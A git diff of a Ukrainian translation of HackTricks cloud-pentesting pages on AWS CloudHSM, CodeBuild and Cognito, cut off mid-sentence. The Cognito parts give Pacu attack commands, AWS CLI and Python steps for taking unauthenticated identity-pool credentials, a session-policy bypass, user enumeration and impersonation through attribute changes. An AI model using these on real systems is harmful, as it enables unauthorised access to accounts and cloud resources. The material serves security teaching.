Одна з них призначена для відповідності FIPS 140-2, а інша - новіша версія, яку можна використовувати. -Незвичайною особливістю CloudHSM є те, що це фізичний пристрій, і тому він **не ділиться з іншими клієнтами**, або, як це зазвичай називають, багатокористувацький. Це спеціалізований пристрій для одного користувача, доступний виключно для ваших навантажень. +Незвичайною особливістю CloudHSM є те, що це фізичний пристрій, і тому він **не ділиться з іншими клієнтами**, або, як це зазвичай називають, мульти-орендар. Це спеціалізований пристрій для одного орендаря, який доступний виключно для ваших навантажень. Зазвичай пристрій доступний протягом 15 хвилин, якщо є потужність, але в деяких зонах цього може не бути. -Оскільки це фізичний пристрій, що призначений для вас, **ключі зберігаються на пристрої**. Ключі потрібно або **реплікувати на інший пристрій**, резервувати в офлайн-сховищі або експортувати на резервний пристрій. **Цей пристрій не підкріплений** S3 або будь-якою іншою службою AWS, як KMS. +Оскільки це фізичний пристрій, присвячений вам, **ключі зберігаються на пристрої**. Ключі потрібно або **реплікувати на інший пристрій**, резервувати в офлайн-сховищі або експортувати на резервний пристрій. **Цей пристрій не підтримується** S3 або будь-якою іншою службою AWS, як KMS. У **CloudHSM** ви повинні **масштабувати службу самостійно**. Вам потрібно надати достатню кількість пристроїв CloudHSM, щоб впоратися з вашими потребами в шифруванні на основі обраних вами алгоритмів шифрування для вашого рішення.\ Масштабування служби управління ключами виконується AWS і автоматично масштабується за запитом, тому, коли ваше використання зростає, може зрости і кількість необхідних пристроїв CloudHSM. Майте це на увазі, коли ви масштабуєте своє рішення, і якщо ваше рішення має автоматичне масштабування, переконайтеся, що ваш максимальний масштаб враховує достатню кількість пристроїв CloudHSM для обслуговування рішення. Так само, як і масштабування, **продуктивність залежить від вас у CloudHSM**. Продуктивність варіюється в залежності від того, який алгоритм шифрування використовується, і від того, як часто вам потрібно отримувати або витягувати ключі для шифрування даних. Продуктивність служби управління ключами обробляється Amazon і автоматично масштабується відповідно до вимог. Продуктивність CloudHSM досягається шляхом додавання більше пристроїв, і якщо вам потрібна більша продуктивність, ви або додаєте пристрої, або змінюєте метод шифрування на алгоритм, який є швидшим. -Якщо ваше рішення є **багато-регіональним**, вам слід додати кілька **пристроїв CloudHSM у другому регіоні та налагодити міжрегіональне з'єднання за допомогою приватного VPN-з'єднання** або якимось чином забезпечити, щоб трафік завжди був захищений між пристроєм на кожному рівні з'єднання. Якщо у вас є багато-регіональне рішення, вам потрібно подумати про те, як **реплікувати ключі та налаштувати додаткові пристрої CloudHSM у регіонах, де ви працюєте**. Ви можете дуже швидко потрапити в ситуацію, коли у вас є шість або вісім пристроїв, розподілених по кількох регіонах, що забезпечує повну резервність ваших шифрувальних ключів. +Якщо ваше рішення є **мульти-регіональним**, вам слід додати кілька **пристроїв CloudHSM у другому регіоні та налагодити міжрегіональне з'єднання за допомогою приватного VPN-з'єднання** або якимось чином забезпечити, щоб трафік завжди був захищений між пристроєм на кожному рівні з'єднання. Якщо у вас є мульти-регіональне рішення, вам потрібно подумати про те, як **реплікувати ключі та налаштувати додаткові пристрої CloudHSM у регіонах, де ви працюєте**. Ви можете дуже швидко потрапити в ситуацію, коли у вас є шість або вісім пристроїв, розподілених по кількох регіонах, що забезпечує повну резервність ваших ключів шифрування. -**CloudHSM** - це сервіс класу підприємства для безпечного зберігання ключів і може використовуватися як **корінь довіри для підприємства**. Він може зберігати приватні ключі в PKI та ключі сертифікаційних центрів у реалізаціях X509. На додаток до симетричних ключів, що використовуються в симетричних алгоритмах, таких як AES, **KMS зберігає та фізично захищає лише симетричні ключі (не може діяти як сертифікаційний центр)**, тому якщо вам потрібно зберігати ключі PKI та CA, один або два CloudHSM можуть бути вашим рішенням. +**CloudHSM** є сервісом класу підприємства для безпечного зберігання ключів і може використовуватися як **корінь довіри для підприємства**. Він може зберігати приватні ключі в PKI та ключі сертифікаційного центру в реалізаціях X509. На додаток до симетричних ключів, що використовуються в симетричних алгоритмах, таких як AES, **KMS зберігає та фізично захищає лише симетричні ключі (не може діяти як сертифікаційний центр)**, тому якщо вам потрібно зберігати ключі PKI та CA, один або два CloudHSM можуть бути вашим рішенням. -**CloudHSM значно дорожчий за службу управління ключами**. CloudHSM - це апаратний пристрій, тому у вас є фіксовані витрати на надання пристрою CloudHSM, а потім погодинна плата за роботу пристрою. Вартість множиться на кількість пристроїв CloudHSM, які потрібні для досягнення ваших конкретних вимог.\ -Крім того, слід врахувати витрати на придбання програмного забезпечення третьої сторони, такого як програмні комплекти SafeNet ProtectV, а також час і зусилля на інтеграцію. Служба управління ключами є платною за використання і залежить від кількості ключів, які у вас є, а також від операцій введення та виведення. Оскільки управління ключами забезпечує безшовну інтеграцію з багатьма службами AWS, витрати на інтеграцію повинні бути значно нижчими. Витрати слід вважати вторинним фактором у рішеннях щодо шифрування. Шифрування зазвичай використовується для безпеки та відповідності. +**CloudHSM значно дорожчий за службу управління ключами**. CloudHSM є апаратним пристроєм, тому у вас є фіксовані витрати на надання пристрою CloudHSM, а потім погодинна вартість за роботу пристрою. Вартість множиться на кількість пристроїв CloudHSM, які потрібні для досягнення ваших конкретних вимог.\ +Крім того, слід врахувати витрати на придбання програмного забезпечення сторонніх виробників, такого як програмні комплекти SafeNet ProtectV, а також час і зусилля на інтеграцію. Служба управління ключами є заснованою на використанні і залежить від кількості ключів, які у вас є, а також від операцій введення та виведення. Оскільки управління ключами забезпечує безшовну інтеграцію з багатьма службами AWS, витрати на інтеграцію повинні бути значно нижчими. Витрати слід вважати вторинним фактором у рішеннях щодо шифрування. Шифрування зазвичай використовується для безпеки та відповідності. **Тільки ви маєте доступ до ключів у CloudHSM** і без зайвих деталей, з CloudHSM ви керуєте своїми власними ключами. **З KMS ви та Amazon спільно керуєте вашими ключами**. AWS має багато політик безпеки проти зловживань і **все ще не може отримати доступ до ваших ключів в обох рішеннях**. Основна відмінність полягає в дотриманні вимог, що стосуються власності та управління ключами, і з CloudHSM це апаратний пристрій, яким ви керуєте та підтримуєте з виключним доступом тільки для вас. -### Пропозиції щодо CloudHSM +### CloudHSM Suggestions 1. Завжди розгортайте CloudHSM у **HA налаштуванні** з принаймні двома пристроями в **окремих зонах доступності**, і, якщо можливо, розгорніть третій або на місці, або в іншому регіоні AWS. -2. Будьте обережні при **ініціалізації** **CloudHSM**. Ця дія **знищить ключі**, тому або майте іншу копію ключів, або будьте абсолютно впевнені, що вам не знадобляться ці ключі для розшифровки будь-яких даних. +2. Будьте обережні при **ініціалізації** **CloudHSM**. Ця дія **знищить ключі**, тому або майте іншу копію ключів, або будьте абсолютно впевнені, що вам не знадобляться ці ключі для розшифрування будь-яких даних. 3. CloudHSM підтримує лише **певні версії прошивки** та програмного забезпечення. Перед виконанням будь-якого оновлення переконайтеся, що прошивка та/або програмне забезпечення підтримуються AWS. Ви завжди можете звернутися до служби підтримки AWS, щоб перевірити, якщо посібник з оновлення неясний. 4. **Конфігурацію мережі ніколи не слід змінювати.** Пам'ятайте, що це в центрі обробки даних AWS, і AWS моніторить базове обладнання для вас. Це означає, що якщо обладнання вийде з ладу, вони замінять його для вас, але тільки якщо вони знають, що воно вийшло з ладу. 5. **Пересилання SysLog не слід видаляти або змінювати**. Ви завжди можете **додати** пересилання SysLog, щоб направити журнали до вашого власного інструменту збору. @@ -40,11 +40,11 @@ Cloud HSM - це апаратний пристрій, що відповідає Найпоширеніша причина використання CloudHSM - це стандарти відповідності, які ви повинні дотримуватися з регуляторних причин. **KMS не пропонує підтримку даних для асиметричних ключів. CloudHSM дозволяє вам безпечно зберігати асиметричні ключі**. -**Публічний ключ встановлюється на пристрій HSM під час надання** так що ви можете отримати доступ до екземпляра CloudHSM через SSH. +**Публічний ключ встановлюється на пристрої HSM під час надання** так що ви можете отримати доступ до екземпляра CloudHSM через SSH. -### Що таке модуль апаратної безпеки +### Що таке апаратний модуль безпеки -Модуль апаратної безпеки (HSM) - це спеціалізований криптографічний пристрій, який використовується для генерації, зберігання та управління криптографічними ключами та захисту чутливих даних. Він призначений для забезпечення високого рівня безпеки шляхом фізичного та електронного ізолювання криптографічних функцій від решти системи. +Апаратний модуль безпеки (HSM) - це спеціалізований криптографічний пристрій, який використовується для генерації, зберігання та управління криптографічними ключами та захисту чутливих даних. Він призначений для забезпечення високого рівня безпеки шляхом фізичного та електронного ізолювання криптографічних функцій від решти системи. Спосіб роботи HSM може варіюватися в залежності від конкретної моделі та виробника, але зазвичай відбуваються такі кроки: @@ -52,7 +52,7 @@ Cloud HSM - це апаратний пристрій, що відповідає 2. **Зберігання ключа**: Ключ **надійно зберігається всередині HSM, де до нього можуть отримати доступ лише авторизовані користувачі або процеси**. 3. **Управління ключами**: HSM надає ряд функцій управління ключами, включаючи ротацію ключів, резервне копіювання та відкликання. 4. **Криптографічні операції**: HSM виконує ряд криптографічних операцій, включаючи шифрування, розшифрування, цифровий підпис та обмін ключами. Ці операції **виконуються в безпечному середовищі HSM**, що захищає від несанкціонованого доступу та підробки. -5. **Аудит журналювання**: HSM реєструє всі криптографічні операції та спроби доступу, які можуть бути використані для цілей відповідності та аудиту безпеки. +5. **Журналювання аудиту**: HSM реєструє всі криптографічні операції та спроби доступу, які можуть бути використані для цілей відповідності та аудиту безпеки. HSM можуть використовуватися для широкого спектру застосувань, включаючи безпечні онлайн-транзакції, цифрові сертифікати, безпечні комунікації та шифрування даних. Вони часто використовуються в галузях, які вимагають високого рівня безпеки, таких як фінанси, охорона здоров'я та уряд. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index 3ffd4398b..72db81ccf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,25 +4,25 @@ ## CodeBuild -AWS **CodeBuild** вважається **повністю керованою службою безперервної інтеграції**. Основна мета цієї служби полягає в автоматизації послідовності компіляції вихідного коду, виконання тестів і упаковки програмного забезпечення для цілей розгортання. Основна перевага, яку пропонує CodeBuild, полягає в його здатності зменшити потребу користувачів у наданні, управлінні та масштабуванні своїх серверів для збірки. Ця зручність обумовлена тим, що сама служба управляє цими завданнями. Основні функції AWS CodeBuild включають: +AWS **CodeBuild** вважається **повністю керованою службою безперервної інтеграції**. Основна мета цієї служби полягає в автоматизації послідовності компіляції вихідного коду, виконання тестів і упаковки програмного забезпечення для цілей розгортання. Основна перевага, яку пропонує CodeBuild, полягає в його здатності зменшити потребу користувачів у наданні, управлінні та масштабуванні своїх серверів збірки. Ця зручність обумовлена тим, що сама служба управляє цими завданнями. Основні функції AWS CodeBuild включають: -1. **Керована служба**: CodeBuild управляє та масштабує сервери для збірки, звільняючи користувачів від обслуговування серверів. +1. **Керована служба**: CodeBuild управляє та масштабує сервери збірки, звільняючи користувачів від обслуговування серверів. 2. **Безперервна інтеграція**: Вона інтегрується з робочим процесом розробки та розгортання, автоматизуючи етапи збірки та тестування процесу випуску програмного забезпечення. 3. **Виробництво пакетів**: Після етапів збірки та тестування вона готує програмні пакети, роблячи їх готовими до розгортання. -AWS CodeBuild безперешкодно інтегрується з іншими службами AWS, підвищуючи ефективність і надійність конвеєра CI/CD (Безперервна інтеграція/Безперервне розгортання). +AWS CodeBuild безперешкодно інтегрується з іншими службами AWS, підвищуючи ефективність і надійність CI/CD (Безперервна інтеграція/Безперервне розгортання) конвеєра. ### **Github/Gitlab/Bitbucket Credentials** #### **Default source credentials** -Це спадкова опція, де можливо налаштувати деякі **доступи** (як токен або додаток Github), які будуть **спільними для проектів codebuild**, щоб усі проекти могли використовувати цей налаштований набір облікових даних. +Це спадкова опція, де можливо налаштувати деякі **доступи** (як токен Github або додаток), які будуть **спільно використовуватися між проектами codebuild**, щоб усі проекти могли використовувати цей налаштований набір облікових даних. -Збережені облікові дані (токени, паролі...) **керуються codebuild** і немає жодного публічного способу їх отримати з AWS APIs. +Збережені облікові дані (токени, паролі...) **керуються codebuild** і немає жодного публічного способу їх отримати з AWS API. #### Custom source credential -В залежності від платформи репозиторію (Github, Gitlab та Bitbucket) надаються різні опції. Але в загальному, будь-яка опція, яка вимагає **зберігати токен або пароль, буде зберігати його як секрет у менеджері секретів**. +В залежності від платформи репозиторію (Github, Gitlab і Bitbucket) надаються різні опції. Але в загальному, будь-яка опція, яка вимагає **зберігати токен або пароль, буде зберігатися як секрет у менеджері секретів**. Це дозволяє **різним проектам codebuild використовувати різні налаштовані доступи** до постачальників замість того, щоб просто використовувати налаштований за замовчуванням. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index 7f107d9dd..44ea27dc7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -6,7 +6,7 @@ Amazon Cognito використовується для **автентифікації, авторизації та управління користувачами** в веб- та мобільних додатках. Він дозволяє користувачам гнучко входити в систему безпосередньо, використовуючи **ім'я користувача та пароль**, або опосередковано через **третю сторону**, включаючи Facebook, Amazon, Google або Apple. -Центральними компонентами Amazon Cognito є два основні елементи: +Основними компонентами Amazon Cognito є два основні елементи: 1. **User Pools**: Це каталоги, призначені для користувачів вашого додатку, які пропонують **функції реєстрації та входу**. 2. **Identity Pools**: Ці пули є важливими для **авторизації користувачів для доступу до різних сервісів AWS**. Вони не беруть безпосередньої участі в процесі входу або реєстрації, але є критично важливими для доступу до ресурсів після автентифікації. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 6de0d85e5..1ae447b23 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -2,14 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -Identity pools serve a crucial role by enabling your users to **отримувати тимчасові облікові дані**. Ці облікові дані є необхідними для доступу до різних AWS services, включаючи, але не обмежуючись, Amazon S3 та DynamoDB. Важливою особливістю identity pools є їх підтримка як анонімних гостьових користувачів, так і різноманітних постачальників ідентичності для аутентифікації користувачів. Підтримувані постачальники ідентичності включають: +Identity pools відіграють важливу роль, дозволяючи вашим користувачам **отримувати тимчасові облікові дані**. Ці облікові дані є необхідними для доступу до різних AWS сервісів, включаючи, але не обмежуючись, Amazon S3 та DynamoDB. Помітною особливістю identity pools є їх підтримка як анонімних гостьових користувачів, так і різноманітних постачальників ідентичності для аутентифікації користувачів. Підтримувані постачальники ідентичності включають: - Amazon Cognito user pools - Соціальні варіанти входу, такі як Facebook, Google, Login with Amazon та Sign in with Apple - Постачальники, що відповідають OpenID Connect (OIDC) -- SAML (Security Assertion Markup Language) постачальники ідентичності +- Постачальники ідентичності SAML (Security Assertion Markup Language) - Ідентичності, аутентифіковані розробником ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: @@ -35,7 +35,7 @@ print(response) ``` ### Cognito Sync -Щоб згенерувати сесії Identity Pool, спочатку потрібно **згенерувати ідентифікатор Identity ID**. Цей ідентифікатор є **ідентифікацією сесії цього користувача**. Ці ідентифікації можуть мати до 20 наборів даних, які можуть зберігати до 1 МБ пар ключ-значення. +Щоб згенерувати сесії Identity Pool, спочатку потрібно **згенерувати ідентифікатор Identity ID**. Цей ідентифікатор Identity ID є **ідентифікацією сесії цього користувача**. Ці ідентифікації можуть мати до 20 наборів даних, які можуть зберігати до 1MB пар ключ-значення. Це **корисно для збереження інформації про користувача** (який завжди буде використовувати один і той же ідентифікатор Identity ID). @@ -43,7 +43,7 @@ print(response) ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), фреймворк експлуатації AWS, тепер включає модулі "cognito\_\_enum" та "cognito\_\_attack", які автоматизують перерахування всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та ескалацію привілеїв на основі змінних атрибутів, що підлягають модифікації, використовуваних облікових даних пулу ідентичностей, ролей, які можна прийняти в токенах ідентифікації тощо. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), фреймворк експлуатації AWS, тепер включає модулі "cognito\_\_enum" та "cognito\_\_attack", які автоматизують перерахування всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та ескалацію привілеїв на основі змінних користувацьких атрибутів, використовуваних облікових даних пулу ідентичностей, ролей, які можна прийняти в токенах ідентифікації тощо. Для опису функцій модулів дивіться частину 2 [блог-посту](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Для інструкцій з установки дивіться основну сторінку [Pacu](https://github.com/RhinoSecurityLabs/pacu). @@ -55,7 +55,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Приклад використання cognito\_\_enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичності, користувачів тощо, видимих у поточному обліковому записі AWS: +Приклад використання cognito\_\_enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичностей, користувачів тощо, видимих у поточному обліковому записі AWS: ```bash Pacu (new:test) > run cognito__enum ``` @@ -75,12 +75,12 @@ $ cognito-scanner --help ### Неавтентифікований -Єдине, що потрібно знати зловмиснику, щоб **отримати AWS облікові дані** в додатку Cognito як неавтентифікованому користувачу, це **ID пулу ідентичностей**, і цей **ID повинен бути закодований** в веб/мобільному **додатку** для його використання. ID виглядає так: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (його не можна зламати методом перебору). +Єдине, що потрібно зловмиснику, щоб **отримати AWS облікові дані** в додатку Cognito як неавтентифікованому користувачу, це **ID пулу ідентичності**, і цей **ID повинен бути закодований** в веб/мобільному **додатку** для його використання. ID виглядає так: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (його не можна зламати методом перебору). > [!TIP] -> **IAM роль Cognito для неавтентифікованих користувачів, створена через**, за замовчуванням називається `Cognito_<Назва пулу ідентичностей>Unauth_Role` +> **IAM роль Cognito для неавтентифікованих користувачів, створена через**, за замовчуванням називається `Cognito_<Назва пулу ідентичності>Unauth_Role` -Якщо ви знайдете ID пулу ідентичностей, закодований в додатку, і він дозволяє неавтентифікованим користувачам, ви можете отримати AWS облікові дані за допомогою: +Якщо ви знайдете ID пулу ідентичності, закодований в додатку, і він дозволяє неавтентифікованим користувачам, ви можете отримати AWS облікові дані за допомогою: ```python import requests @@ -112,13 +112,13 @@ aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` > [!WARNING] -> Зверніть увагу, що за замовчуванням неавтентифікований користувач cognito **НЕ МОЖЕ мати жодних дозволів, навіть якщо вони були призначені через політику**. Перевірте наступний розділ. +> Зверніть увагу, що за замовчуванням неавтентифікований cognito **користувач НЕ МОЖЕ мати жодних дозволів, навіть якщо вони були призначені через політику**. Перевірте наступний розділ. -### Розширений vs Базовий потік автентифікації +### Покращений vs Базовий потік автентифікації -Попередній розділ слідував **за замовчуванням розширеному потоку автентифікації**. Цей потік встановлює **обмежувальну** [**політику сесії**](../../aws-basic-information/#session-policies) для сесії ролі IAM, що генерується. Ця політика дозволить сесії [**використовувати послуги з цього списку**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (навіть якщо роль мала доступ до інших послуг). +Попередній розділ слідував **за замовчуванням покращеному потоку автентифікації**. Цей потік встановлює **обмежувальну** [**політику сесії**](../../aws-basic-information/#session-policies) для сесії ролі IAM, що генерується. Ця політика дозволить сесії [**використовувати послуги з цього списку**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (навіть якщо роль мала доступ до інших послуг). -Однак є спосіб обійти це, якщо **пул ідентичності має увімкнений "Базовий (Класичний) Потік"**, користувач зможе отримати сесію, використовуючи цей потік, який **не матиме цієї обмежувальної політики сесії**. +Однак є спосіб обійти це, якщо **Ідентифікаційний пул має увімкнений "Базовий (Класичний) Потік"**, користувач зможе отримати сесію, використовуючи цей потік, який **не матиме цієї обмежувальної політики сесії**. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -147,7 +147,7 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/ [!TIP] -> **IAM роль аутентифікованого Cognito, створена через**, за замовчуванням називається `Cognito_Auth_Role` +> **IAM роль Cognito, створена через**, за замовчуванням називається `Cognito_Auth_Role` У будь-якому випадку, **наступний приклад** передбачає, що ви вже увійшли в **Cognito User Pool**, який використовується для доступу до Identity Pool (не забувайте, що також можуть бути налаштовані інші типи постачальників ідентичності). diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 8563d1e46..61bf05b5d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -15,7 +15,7 @@ User pools надають: - Функції безпеки, такі як багатофакторна аутентифікація (MFA), перевірки на компрометовані облікові дані, захист від захоплення облікового запису, а також перевірка телефону та електронної пошти. - Налаштовані робочі процеси та міграція користувачів через тригери AWS Lambda. -**Код** додатків зазвичай також міститиме **ID пулу користувачів** та **ID клієнтського додатку**, (а іноді і **секрет додатку**?), які потрібні для **входу користувача** до Cognito User Pool. +**Код джерела** додатків зазвичай також міститиме **ID user pool** та **ID клієнтського додатку**, (а іноді і **секрет додатку**?), які потрібні для **входу користувача** до Cognito User Pool. ### Потенційні атаки @@ -25,7 +25,7 @@ User pools надають: ### Інструменти для пентестингу -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), тепер включає модулі `cognito__enum` та `cognito__attack`, які автоматизують перерахування всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та ескалацію привілеїв на основі змінних налаштувань, використовуваних облікових даних пулу ідентичностей, ролей, які можна прийняти в токенах ідентичності тощо.\ +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), тепер включає модулі `cognito__enum` та `cognito__attack`, які автоматизують перерахування всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та ескалацію привілеїв на основі змінних атрибутів, що підлягають модифікації, використовуваних облікових даних пулу ідентичностей, ролей, які можна прийняти в токенах ідентичності тощо.\ Для опису функцій модулів дивіться частину 2 [блог-посту](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Для інструкцій з установки дивіться основну сторінку [Pacu](https://github.com/RhinoSecurityLabs/pacu). ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account @@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) - це інструмент CLI на python, який реалізує різні атаки на Cognito, включаючи небажане створення облікових записів та обліковий оракул. Перегляньте [це посилання](https://github.com/padok-team/cognito-scanner) для отримання додаткової інформації. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) - це інструмент CLI на python, який реалізує різні атаки на Cognito, включаючи небажане створення облікових записів та обліковий оракул. Перевірте [this link](https://github.com/padok-team/cognito-scanner) для отримання додаткової інформації. ```bash # Install pip install cognito-scanner @@ -65,7 +65,7 @@ An error occurred (InvalidParameterException) when calling the SignUp operation: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` -Ви також можете використовувати цю функціональність для **перерахунку існуючих користувачів.** Ось повідомлення про помилку, коли користувач вже існує з таким ім'ям: +Ви також можете використовувати цю функціональність для **перерахунку існуючих користувачів.** Ось повідомлення про помилку, коли користувач з таким ім'ям вже існує: ``` An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` @@ -73,7 +73,7 @@ An error occurred (UsernameExistsException) when calling the SignUp operation: U > Зверніть увагу в попередній команді, як **кастомні атрибути починаються з "custom:"**.\ > Також знайте, що при реєстрації ви **не можете створити нові кастомні атрибути для користувача**. Ви можете лише надати значення **за замовчуванням атрибутам** (навіть якщо вони не є обов'язковими) та **кастомним атрибутам, що вказані**. -Або просто, щоб перевірити, чи існує ідентифікатор клієнта. Це помилка, якщо ідентифікатор клієнта не існує: +Або просто для перевірки, чи існує ідентифікатор клієнта. Це помилка, якщо client-id не існує: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` @@ -83,16 +83,16 @@ An error occurred (ResourceNotFoundException) when calling the SignUp operation: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` -### Verifying Registration +### Підтвердження реєстрації -Cognito дозволяє **перевірити нового користувача, підтвердивши його електронну пошту або номер телефону**. Тому, при створенні користувача, зазвичай вам буде потрібно принаймні ім'я користувача та пароль, а також **електронна пошта та/або номер телефону**. Просто вкажіть один **який ви контролюєте**, щоб ви отримали код для **підтвердження вашого** новоствореного користувача **акаунту** ось так: +Cognito дозволяє **підтвердити нового користувача, перевіряючи його електронну пошту або номер телефону**. Тому, при створенні користувача, зазвичай вам буде потрібно принаймні ім'я користувача та пароль, а також **електронна пошта та/або номер телефону**. Просто вкажіть один **який ви контролюєте**, щоб ви отримали код для **підтвердження вашого** новоствореного користувацького **акаунту** ось так: ```bash aws cognito-idp confirm-sign-up --client-id \ --username aasdasd2 --confirmation-code \ --no-sign-request --region us-east-1 ``` > [!WARNING] -> Навіть якщо **схоже, що ви можете використовувати ту ж електронну пошту** та номер телефону, коли вам потрібно підтвердити створеного користувача, Cognito поскаржиться на використання тих самих даних і **не дозволить вам підтвердити обліковий запис**. +> Навіть якщо **здається, що ви можете використовувати ту ж електронну пошту** та номер телефону, коли вам потрібно перевірити створеного користувача, Cognito буде скаржитися на використання тієї ж інформації і **не дозволить вам підтвердити обліковий запис**. ### Підвищення привілеїв / Оновлення атрибутів @@ -110,15 +110,15 @@ aws cognito-idp update-user-attributes \ #### Привілейоване підвищення через модифікацію електронної пошти/імені користувача -Ви можете використовувати це для **модифікації електронної пошти та номера телефону** користувача, але навіть якщо обліковий запис залишається перевіреним, ці атрибути **встановлюються в статус неперевіреного** (вам потрібно перевірити їх знову). +Ви можете використовувати це, щоб **змінити електронну пошту та номер телефону** користувача, але навіть якщо обліковий запис залишається перевіреним, ці атрибути **встановлюються в статус неперевіреного** (вам потрібно перевірити їх знову). > [!WARNING] -> Ви **не зможете увійти за електронною поштою або номером телефону**, поки не перевірите їх, але ви зможете **увійти за іменем користувача**.\ +> Ви **не зможете увійти за електронною поштою або номером телефону**, поки не перевірите їх, але ви зможете **увійти з іменем користувача**.\ > Зверніть увагу, що навіть якщо електронна пошта була змінена і не перевірена, вона з'явиться в ID Token у **полі** **`email`** і поле **`email_verified`** буде **false**, але якщо додаток **не перевіряє це, ви можете видавати себе за інших користувачів**. -> Більше того, зверніть увагу, що ви можете ввести будь-що в поле **`name`**, просто змінивши **атрибут name**. Якщо додаток **перевіряє** це поле з якоїсь причини **замість `email`** (або будь-якого іншого атрибута), ви можете **видавати себе за інших користувачів**. +> Більше того, зверніть увагу, що ви можете ввести будь-що в поле **`name`**, просто змінивши **атрибут name**. Якщо додаток **перевіряє** це поле з якоїсь причини **замість `email`** (або будь-якого іншого атрибута), ви можете бути в змозі **видавати себе за інших користувачів**. -У будь-якому випадку, якщо з якоїсь причини ви змінили свою електронну пошту, наприклад, на нову, до якої маєте доступ, ви можете **підтвердити електронну пошту за допомогою коду, який ви отримали на цю електронну адресу**: +У будь-якому випадку, якщо з якоїсь причини ви змінили свою електронну пошту, наприклад, на нову, до якої маєте доступ, ви можете **підтвердити електронну пошту за кодом, який ви отримали на цю електронну адресу**: ```bash aws cognito-idp verify-user-attribute \ --access-token \ @@ -158,34 +158,34 @@ aws cognito-idp change-password \ ``` ## Аутентифікація -User pool підтримує **різні способи аутентифікації**. Якщо у вас є **ім'я користувача та пароль**, також підтримуються **різні методи** для входу.\ -Більше того, коли користувач аутентифікований у Pool, **надаються 3 типи токенів**: **ID токен**, **Access токен** та **Refresh токен**. +Пул користувачів підтримує **різні способи аутентифікації**. Якщо у вас є **ім'я користувача та пароль**, також підтримуються **різні методи** для входу.\ +Більше того, коли користувач аутентифікований у пулі, **надаються 3 типи токенів**: **ID токен**, **Access токен** та **Refresh токен**. -- [**ID токен**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Він містить заяви про **особу аутентифікованого користувача**, такі як `name`, `email` та `phone_number`. ID токен також може бути використаний для **аутентифікації користувачів на ваших ресурсних серверах або серверних додатках**. Ви повинні **перевірити** **підпис** ID токена, перш ніж довіряти будь-яким заявам всередині ID токена, якщо ви використовуєте 